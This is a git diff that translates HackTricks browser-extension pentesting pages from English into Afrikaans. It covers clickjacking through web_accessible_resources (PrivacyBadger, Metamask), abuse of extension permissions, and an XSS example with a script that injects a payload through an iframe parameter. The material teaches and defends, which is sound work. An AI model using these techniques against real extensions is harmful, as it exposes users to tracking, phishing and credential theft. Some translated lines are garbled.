HTML source files. +Project Neto is 'n Python 3 pakket wat ontwerp is om versteekte funksies van blaaiersplugins en uitbreidings vir bekende blaaiers soos Firefox en Chrome te analiseer en te ontrafel. Dit outomatiseer die proses van die uitpak van die verpakte lêers om hierdie funksies uit relevante hulpbronne in 'n uitbreiding soos `manifest.json`, lokaliseringsmappes of Javascript en HTML bronne lêers te onttrek. -## References +## Verwysings -- **Thanks to** [**@naivenom**](https://twitter.com/naivenom) **for the help with this methodology** +- **Dankie aan** [**@naivenom**](https://twitter.com/naivenom) **vir die hulp met hierdie metodologie** - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) - [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/) - [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/) @@ -755,4 +705,3 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu - [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index 849cdb7a1..7ac92867a 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -2,101 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting -This page is going to abuse a ClickJacking vulnerability in a Browser extension.\ -If you don't know what ClickJacking is check: +Hierdie bladsy gaan 'n ClickJacking kwesbaarheid in 'n Blaaier uitbreiding misbruik.\ +As jy nie weet wat ClickJacking is nie, kyk: {{#ref}} ../clickjacking.md {{#endref}} -Extensions contains the file **`manifest.json`** and that JSON file has a field `web_accessible_resources`. Here's what [the Chrome docs](https://developer.chrome.com/extensions/manifest/web_accessible_resources) say about it: +Uitbreidings bevat die lêer **`manifest.json`** en daardie JSON-lêer het 'n veld `web_accessible_resources`. Hier is wat [die Chrome dokumentasie](https://developer.chrome.com/extensions/manifest/web_accessible_resources) daaroor sê: -> These resources would then be available in a webpage via the URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, which can be generated with the **`extension.getURL method`**. Allowlisted resources are served with appropriate CORS headers, so they're available via mechanisms like XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> Hierdie hulpbronne sal dan beskikbaar wees in 'n webblad via die URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, wat gegenereer kan word met die **`extension.getURL method`**. Toegelate hulpbronne word bedien met toepaslike CORS koptekste, sodat hulle beskikbaar is via meganismes soos XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) -The **`web_accessible_resources`** in a browser extension are not just accessible via the web; they also operate with the extension's inherent privileges. This means they have the capability to: +Die **`web_accessible_resources`** in 'n blaaiers uitbreiding is nie net via die web toeganklik nie; hulle werk ook met die uitbreiding se inherente voorregte. Dit beteken hulle het die vermoë om: -- Change the extension's state -- Load additional resources -- Interact with the browser to a certain extent +- Die uitbreiding se toestand te verander +- Bykomende hulpbronne te laai +- Met die blaaiers tot 'n sekere mate te kommunikeer -However, this feature presents a security risk. If a resource within **`web_accessible_resources`** has any significant functionality, an attacker could potentially embed this resource into an external web page. Unsuspecting users visiting this page might inadvertently activate this embedded resource. Such activation could lead to unintended consequences, depending on the permissions and capabilities of the extension's resources. +Egter, hierdie kenmerk bied 'n sekuriteitsrisiko. As 'n hulpbron binne **`web_accessible_resources`** enige beduidende funksionaliteit het, kan 'n aanvaller moontlik hierdie hulpbron in 'n eksterne webblad inkorporeer. Onbewuste gebruikers wat hierdie bladsy besoek, mag per ongeluk hierdie ingekorporeerde hulpbron aktiveer. So 'n aktivering kan lei tot onvoorsiene gevolge, afhangende van die toestemmings en vermoëns van die uitbreiding se hulpbronne. -## PrivacyBadger Example - -In the extension PrivacyBadger, a vulnerability was identified related to the `skin/` directory being declared as `web_accessible_resources` in the following manner (Check the original [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)): +## PrivacyBadger Voorbeeld +In die uitbreiding PrivacyBadger is 'n kwesbaarheid geïdentifiseer wat verband hou met die `skin/` gids wat as `web_accessible_resources` verklaar is op die volgende manier (Kyk die oorspronklike [blogpos](https://blog.lizzie.io/clickjacking-privacy-badger.html)): ```json "web_accessible_resources": [ - "skin/*", - "icons/*" +"skin/*", +"icons/*" ] ``` +Hierdie konfigurasie het gelei tot 'n potensiële sekuriteitsprobleem. Spesifiek, die `skin/popup.html` lêer, wat gerender word wanneer daar interaksie is met die PrivacyBadger ikoon in die blaaier, kan binne 'n `iframe` ingebed word. Hierdie inbedding kan uitgebuit word om gebruikers te mislei om per ongeluk op "Disable PrivacyBadger for this Website" te klik. So 'n aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger beskerming te deaktiveer en die gebruiker moontlik aan verhoogde opsporing bloot te stel. 'n Visuele demonstrasie van hierdie uitbuiting kan gesien word in 'n ClickJacking video voorbeeld wat verskaf word by [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). -This configuration led to a potential security issue. Specifically, the `skin/popup.html` file, which is rendered upon interaction with the PrivacyBadger icon in the browser, could be embedded within an `iframe`. This embedding could be exploited to deceive users into inadvertently clicking on "Disable PrivacyBadger for this Website". Such an action would compromise the user's privacy by disabling the PrivacyBadger protection and potentially subjecting the user to increased tracking. A visual demonstration of this exploit can be viewed in a ClickJacking video example provided at [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm). +Om hierdie kwesbaarheid aan te spreek, is 'n eenvoudige oplossing geïmplementeer: die verwydering van `/skin/*` uit die lys van `web_accessible_resources`. Hierdie verandering het die risiko effektief verminder deur te verseker dat die inhoud van die `skin/` gids nie deur web-toeganklike hulpbronne toegang of gemanipuleer kon word nie. -To address this vulnerability, a straightforward solution was implemented: the removal of `/skin/*` from the list of `web_accessible_resources`. This change effectively mitigated the risk by ensuring that the content of the `skin/` directory could not be accessed or manipulated through web-accessible resources. - -The fix was easy: **remove `/skin/*` from the `web_accessible_resources`**. +Die regstelling was maklik: **verwyder `/skin/*` uit die `web_accessible_resources`**. ### PoC - ```html
-

Click the button

- +

Click the button

+
``` +## Metamask Voorbeeld -## Metamask Example - -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example): +'n [**blogpos oor 'n ClickJacking in metamask kan hier gevind word**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In hierdie geval het Metamask die kwesbaarheid reggestel deur te verifieer dat die protokol wat gebruik is om toegang te verkry **`https:`** of **`http:`** was (nie **`chrome:`** nie, byvoorbeeld):
-**Another ClickJacking fixed** in the Metamask extension was that users were able to **Click to whitelist** when a page was suspicious of being phishing because of `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. As that page was vulnerable to Clickjacking, an attacker could abuse it showing something normal to make the victim click to whitelist it without noticing, and then going back to the phishing page which will be whitelisted. +**Nog 'n ClickJacking wat reggestel is** in die Metamask-uitbreiding was dat gebruikers in staat was om **Klik om te witlys** wanneer 'n bladsy verdag was om phishing te wees as gevolg van `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Aangesien daardie bladsy kwesbaar was vir Clickjacking, kon 'n aanvaller dit misbruik deur iets normaal te wys om die slagoffer te laat klik om dit te witlys sonder om dit te besef, en dan terug te gaan na die phishing-bladsy wat gewitlys sal word. -## Steam Inventory Helper Example +## Steam Inventory Helper Voorbeeld -Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability: +Kyk na die volgende bladsy om te sien hoe 'n **XSS** in 'n blaaiers-uitbreiding geketting is met 'n **ClickJacking** kwesbaarheid: {{#ref}} browext-xss-example.md {{#endref}} -## References +## Verwysings - [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html) - [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md index 2021e3d7d..186b60a1c 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md @@ -1,114 +1,111 @@ -# BrowExt - permissions & host_permissions +# BrowExt - toestemmings & host_permissions {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Basiese Inligting ### **`permissions`** -Permissions are defined in the extension's **`manifest.json`** file using the **`permissions`** property and allow access to almost anything a browser can access (Cookies or Physical Storage): +Toestemmings word gedefinieer in die uitbreiding se **`manifest.json`** lêer met die **`permissions`** eienskap en laat toegang toe tot byna enigiets wat 'n blaaier kan toegang hê (Koekies of Fisiese Berging): -The previous manifest declares that the extension requires the `storage` permission. This means that it can use [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) to store its data persistently. Unlike cookies or `localStorage` APIs which give users some level of control, **extension storage can normally only be cleared by uninstalling the extension**. +Die vorige manifest verklaar dat die uitbreiding die `storage` toestemming benodig. Dit beteken dat dit die [storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kan gebruik om sy data volhoubaar te stoor. Anders as koekies of `localStorage` API's wat gebruikers 'n sekere vlak van beheer gee, **kan uitbreiding berging normaalweg net verwyder word deur die uitbreiding te deïnstalleer**. -An extension will request the permissions indicated in its **`manifest.json`** file and After installing the extension, you can **always check its permissions in your browser**, as shown in this image: +'n Uitbreiding sal die toestemmings wat in sy **`manifest.json`** lêer aangedui word, versoek en na die installering van die uitbreiding kan jy **altyd sy toestemmings in jou blaaiers nagaan**, soos in hierdie beeld getoon:
-You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +Jy kan die [**volledige lys van toestemmings wat 'n Chromium Blaaier Uitbreiding kan versoek hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox uitbreidings hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** ### `host_permissions` -The optional but powerful setting **`host_permissions`** indicates with which hosts the extension is going to be able to interact via apis such as [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), and [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). - -The following `host_permissions` basically allow every web: +Die opsionele maar kragtige instelling **`host_permissions`** dui aan met watter gasheer die uitbreiding in staat gaan wees om te kommunikeer via API's soos [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), en [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). +Die volgende `host_permissions` laat basies elke web toe: ```json "host_permissions": [ - "*://*/*" +"*://*/*" ] // Or: "host_permissions": [ - "http://*/*", - "https://*/*" +"http://*/*", +"https://*/*" ] // Or: "host_permissions": [ - "" +"" ] ``` +Hierdie is die gasheer wat die blaaiers uitbreiding vrylik kan toegang. Dit is omdat wanneer 'n blaaiers uitbreiding **`fetch("https://gmail.com/")`** aanroep, dit nie deur CORS beperk word nie. -These are the hosts that the browser extension can access freely. This is because when a browser extension calls **`fetch("https://gmail.com/")`** it's not restricted by CORS. +## Misbruik van `permissions` en `host_permissions` -## Abusing `permissions` and `host_permissions` +### Oortjies -### Tabs - -Moreover, **`host_permissions`** also unlock “advanced” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **functionality.** They allow the extension to call [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) and not only get a **list of user’s browser tabs** back but also learn which **web page (meaning address and title) is loaded**. +Boonop ontsluit **`host_permissions`** ook "gevorderde" [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **funksionaliteit.** Dit laat die uitbreiding toe om [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) aan te roep en nie net 'n **lys van die gebruiker se blaaiertabs** terug te kry nie, maar ook te leer watter **webblad (wat adres en titel beteken) gelaai is**. > [!CAUTION] -> Not only that, listeners like [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **become way more useful as well**. These will be notified whenever a new page loads into a tab. +> Nie net dit nie, luisteraars soos [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **word ook baie nuttiger.** Hierdie sal kennisgewing ontvang wanneer 'n nuwe bladsy in 'n tab laai. -### Running content scripts +### Loop inhoudskripte -Content scripts aren’t necessarily written statically into the extension manifest. Given sufficient **`host_permissions`**, **extensions can also load them dynamically by calling** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **or** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript). +Inhoudskripte is nie noodwendig staties in die uitbreiding manifest geskryf nie. Gegewe voldoende **`host_permissions`**, **kan uitbreidings dit ook dinamies laai deur** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **of** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) aan te roep. -Both APIs allow executing not merely files contained in the extensions as content scripts but also **arbitrary cod**e. The former allows passing in JavaScript code as a string while the latter expects a JavaScript function which is less prone to injection vulnerabilities. Still, both APIs will wreak havoc if misused. +Albei API's laat nie net die uitvoering van lêers wat in die uitbreidings as inhoudskripte bevat is toe nie, maar ook **arbitraire kode**. Die eerste laat die oorgang van JavaScript-kode as 'n string toe terwyl die laaste 'n JavaScript-funksie verwag wat minder geneig is tot inspuitingskwesbaarhede. Tog, albei API's sal chaos veroorsaak as dit verkeerd gebruik word. > [!CAUTION] -> In addition to the capabilities above, content scripts could for example **intercept credentials** as these are entered into web pages. Another classic way to abuse them is **injecting advertising** on each an every website. Adding **scam messages** to abuse credibility of news websites is also possible. Finally, they could **manipulate banking** websites to reroute money transfers. +> Benewens die bogenoemde vermoëns, kan inhoudskripte byvoorbeeld **akkrediteer** wanneer dit in webbladsye ingevoer word. 'N Ander klassieke manier om dit te misbruik is **om advertensies in te spuit** op elke webwerf. Dit is ook moontlik om **bedrogboodskappe** toe te voeg om die geloofwaardigheid van nuuswebwerwe te misbruik. Laastens kan hulle **bankwebwerwe manipuleer** om geldtransfers te herlei. -### Implicit privileges +### Impliciete voorregte -Some extension privileges **don’t have to be explicitly declared**. One example is the [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): its basic functionality is accessible without any privileges whatsoever. Any extension can be notified when you open and close tabs, it merely won’t know which website these tabs correspond with. +Sommige uitbreiding voorregte **hoef nie eksplisiet verklaar te word nie**. Een voorbeeld is die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): sy basiese funksionaliteit is toeganklik sonder enige voorregte. Enige uitbreiding kan kennisgewing ontvang wanneer jy tabs oopmaak en sluit, dit sal net nie weet watter webwerf hierdie tabs ooreenstem nie. -Sounds too harmless? The [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is somewhat less so. It can be used to **create a new tab**, essentially the same as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) which can be called by any website. Yet while `window.open()` is subject to the **pop-up blocker, `tabs.create()` isn’t**. +Klink te onskadelik? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) is ietwat minder so. Dit kan gebruik word om **'n nuwe tab te skep**, essensieel dieselfde as [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) wat deur enige webwerf aangeroep kan word. Tog, terwyl `window.open()` onderhewig is aan die **pop-up blokker, is `tabs.create()` nie**. > [!CAUTION] -> An extension can create any number of tabs whenever it wants. +> 'N uitbreiding kan enige aantal tabs skep wanneer dit wil. -If you look through possible `tabs.create()` parameters, you’ll also notice that its capabilities go way beyond what `window.open()` is allowed to control. And while Firefox doesn’t allow `data:` URIs to be used with this API, Chrome has no such protection. **Use of such URIs on the top level has been** [**banned due to being abused for phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** +As jy deur moontlike `tabs.create()` parameters kyk, sal jy ook opgemerk dat sy vermoëns baie verder gaan as wat `window.open()` toegelaat word om te beheer. En terwyl Firefox nie toelaat dat `data:` URIs met hierdie API gebruik word nie, het Chrome nie so 'n beskerming nie. **Die gebruik van sulke URIs op die boonste vlak is** [**verbied weens misbruik vir phishing**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**.** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is very similar to `tabs.create()` but will **modify an existing tab**. So a malicious extension can for example arbitrarily load an advertising page into one of your tabs, and it can activate the corresponding tab as well. +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) is baie soortgelyk aan `tabs.create()` maar sal **'n bestaande tab wysig**. So kan 'n kwaadwillige uitbreiding byvoorbeeld arbitrêr 'n advertensiebladsy in een van jou tabs laai, en dit kan ook die ooreenstemmende tab aktiveer. -### Webcam, geolocation and friends +### Webcam, geolokasie en vriende -You probably know that websites can request special permissions, e.g. in order to access your webcam (video conferencing tools) or geographical location (maps). It’s features with considerable potential for abuse, so users each time have to confirm that they still want this. +Jy weet waarskynlik dat webwerwe spesiale toestemming kan vra, byvoorbeeld om toegang tot jou webcam (video konferensie gereedskap) of geografiese ligging (kaarte) te verkry. Dit is funksies met aansienlike potensiaal vir misbruik, so gebruikers moet elke keer bevestig dat hulle steeds dit wil hê. > [!CAUTION] -> Not so with browser extensions. **If a browser extension** [**wants access to your webcam or microphone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, it only needs to ask for permission once** +> Nie so met blaaiers uitbreidings nie. **As 'n blaaiers uitbreiding** [**toegang tot jou webcam of mikrofoon wil hê**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, hoef dit net een keer toestemming te vra** -Typically, an extension will do so immediately after being installed. Once this prompt is accepted, **webcam access is possible at any time**, even if the user isn’t interacting with the extension at this point. Yes, a user will only accept this prompt if the extension really needs webcam access. But after that they have to trust the extension not to record anything secretly. +Tipies sal 'n uitbreiding dit onmiddellik na installasie doen. Sodra hierdie prompt aanvaar word, **is webcam toegang te enige tyd moontlik**, selfs al interaksie die gebruiker nie met die uitbreiding op hierdie punt nie. Ja, 'n gebruiker sal hierdie prompt net aanvaar as die uitbreiding regtig webcam toegang benodig. Maar daarna moet hulle die uitbreiding vertrou om niks geheim op te neem nie. -With access to [your exact geographical location](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) or [contents of your clipboard](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), granting permission explicitly is unnecessary altogether. **An extension simply adds `geolocation` or `clipboard` to the** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **of its manifest**. These access privileges are then granted implicitly when the extension is installed. So a malicious or compromised extension with these privileges can create your movement profile or monitor your clipboard for copied passwords without you noticing anything. +Met toegang tot [jou presiese geografiese ligging](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) of [inhoud van jou klembord](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), is dit glad nie nodig om toestemming eksplisiet te verleen nie. **'N uitbreiding voeg eenvoudig `geolocation` of `clipboard` by die** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **van sy manifest.** Hierdie toegang voorregte word dan implisiet toegestaan wanneer die uitbreiding geïnstalleer word. So 'n kwaadwillige of gecompromitteerde uitbreiding met hierdie voorregte kan jou bewegingsprofiel skep of jou klembord monitor vir gekopieerde wagwoorde sonder dat jy enigiets opgemerk het. -Adding the **`history`** keyword to the [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) of the extension manifest grants **access to the** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). It allows retrieving the user’s entire browsing history all at once, without waiting for the user to visit these websites again. +Die toevoeging van die **`history`** sleutelwoord aan die [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) van die uitbreiding manifest verleen **toegang tot die** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Dit laat toe om die gebruiker se hele blaai geskiedenis alles op een slag te verkry, sonder om te wag vir die gebruiker om hierdie webwerwe weer te besoek. -The **`bookmarks`** **permission** has similar abuse potential, this one allows **reading out all bookmarks via the** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks). +Die **`bookmarks`** **toestemming** het soortgelyke misbruik potensiaal, hierdie een laat **toe om alle boekmerke via die** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) te lees. -### Storage permission +### Berging toestemming -The extension storage is merely a key-value collection, very similar to [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) that any website could use. So no sensitive information should be stored here. +Die uitbreiding berging is bloot 'n sleutel-waarde versameling, baie soortgelyk aan [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) wat enige webwerf kan gebruik. So geen sensitiewe inligting moet hier gestoor word nie. -However, advertising companies could also abuse this storage. +Echter, advertensie maatskappye kan ook hierdie berging misbruik. -### More permissions +### Meer toestemming -You can find the [**complete list of permissions a Chromium Browser Extension can request here**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) and a [**complete list for Firefox extensions here**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** +Jy kan die [**volledige lys van toestemming wat 'n Chromium Blaaiers Uitbreiding kan vra hier vind**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) en 'n [**volledige lys vir Firefox uitbreidings hier**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.** -## Prevention +## Prevensie -The policy of Google's developer explicitly forbids extensions from requesting more privileges than necessary for their functionality, effectively mitigating excessive permission requests. An instance where a browser extension overstepped this boundary involved its distribution with the browser itself rather than through an add-on store. +Die beleid van Google se ontwikkelaar verbied eksplisiet uitbreidings om meer voorregte te vra as wat nodig is vir hul funksionaliteit, wat effektief oortollige toestemming versoeke verminder. 'N Voorbeeld waar 'n blaaiers uitbreiding hierdie grens oorgesteek het, het behels dat dit saam met die blaaiers self versprei is eerder as deur 'n byvoeging winkel. -Browsers could further curb the misuse of extension privileges. For instance, Chrome's [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) and [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIs, used for screen recording, are designed to minimize abuse. The tabCapture API can only be activated through direct user interaction, such as clicking on the extension icon, while desktopCapture requires user confirmation for the window to be recorded, preventing clandestine recording activities. +Blaaiers kan verder die misbruik van uitbreiding voorregte beperk. Byvoorbeeld, Chrome se [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) en [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API's, wat vir skermopnames gebruik word, is ontwerp om misbruik te minimaliseer. Die tabCapture API kan slegs geaktiveer word deur direkte gebruikersinteraksie, soos om op die uitbreiding ikoon te klik, terwyl desktopCapture gebruikersbevestiging vereis vir die venster wat opgeneem moet word, wat geheime opname aktiwiteite voorkom. -However, tightening security measures often results in decreased flexibility and user-friendliness of extensions. The [activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustrates this trade-off. It was introduced to eliminate the need for extensions to request host privileges across the entire internet, allowing extensions to access only the current tab upon explicit activation by the user. This model is effective for extensions requiring user-initiated actions but falls short for those requiring automatic or pre-emptive actions, thereby compromising convenience and immediate responsiveness. +Echter, om sekuriteitsmaatreëls te verskerp, lei dikwels tot verminderde buigsaamheid en gebruikersvriendelikheid van uitbreidings. Die [activeTab toestemming](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustreer hierdie afruil. Dit is bekendgestel om die behoefte aan uitbreidings om gasheer voorregte oor die hele internet te vra, te elimineer, wat uitbreidings toelaat om slegs die huidige tab te benader op eksplisiete aktivering deur die gebruiker. Hierdie model is effektief vir uitbreidings wat gebruikers-gestuurde aksies benodig, maar val kort vir diegene wat outomatiese of voorafgaande aksies benodig, wat gerief en onmiddellike reaksie benadeel. -## **References** +## **Verwysings** - [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md index 8ac44003f..4a57333e6 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md @@ -1,119 +1,104 @@ -# BrowExt - XSS Example +# BrowExt - XSS Voorbeeld {{#include ../../banners/hacktricks-training.md}} -## Cross-Site Scripting (XSS) through Iframe - -In this setup, a **content script** is implemented to instantiate an Iframe, incorporating a URL with query parameters as the source of the Iframe: +## Cross-Site Scripting (XSS) deur Iframe +In hierdie opstelling word 'n **inhoudskrip** geïmplementeer om 'n Iframe te instantiëer, wat 'n URL met navraagparameters as die bron van die Iframe insluit: ```javascript chrome.storage.local.get("message", (result) => { - let constructedURL = - chrome.runtime.getURL("message.html") + - "?content=" + - encodeURIComponent(result.message) + - "&redirect=https://example.net/details" - frame.src = constructedURL +let constructedURL = +chrome.runtime.getURL("message.html") + +"?content=" + +encodeURIComponent(result.message) + +"&redirect=https://example.net/details" +frame.src = constructedURL }) ``` - -A publicly accessible HTML page, **`message.html`**, is designed to dynamically add content to the document body based on the parameters in the URL: - +'n Publiek toeganklike HTML-bladsy, **`message.html`**, is ontwerp om dinamies inhoud by die dokumentliggaam toe te voeg gebaseer op die parameters in die URL: ```javascript $(document).ready(() => { - let urlParams = new URLSearchParams(window.location.search) - let userContent = urlParams.get("content") - $(document.body).html( - `${userContent} ` - ) - $("#detailBtn").on("click", () => { - let destinationURL = urlParams.get("redirect") - chrome.tabs.create({ url: destinationURL }) - }) +let urlParams = new URLSearchParams(window.location.search) +let userContent = urlParams.get("content") +$(document.body).html( +`${userContent} ` +) +$("#detailBtn").on("click", () => { +let destinationURL = urlParams.get("redirect") +chrome.tabs.create({ url: destinationURL }) +}) }) ``` - -A malicious script is executed on an adversary's page, modifying the `content` parameter of the Iframe's source to introduce a **XSS payload**. This is achieved by updating the Iframe's source to include a harmful script: - +'n Kwaadwillige skrip word op 'n teenstander se bladsy uitgevoer, wat die `content` parameter van die Iframe se bron aanpas om 'n **XSS payload** in te voer. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skrip in te sluit: ```javascript setTimeout(() => { - let targetFrame = document.querySelector("iframe").src - let baseURL = targetFrame.split("?")[0] - let xssPayload = "" - let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` +let targetFrame = document.querySelector("iframe").src +let baseURL = targetFrame.split("?")[0] +let xssPayload = "" +let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` - document.querySelector("iframe").src = maliciousURL +document.querySelector("iframe").src = maliciousURL }, 1000) ``` - -An overly permissive Content Security Policy such as: - +'n Oormatig toelaatbare Inhoudsekuriteitsbeleid soos: ```json "content_security_policy": "script-src 'self' 'unsafe-eval'; 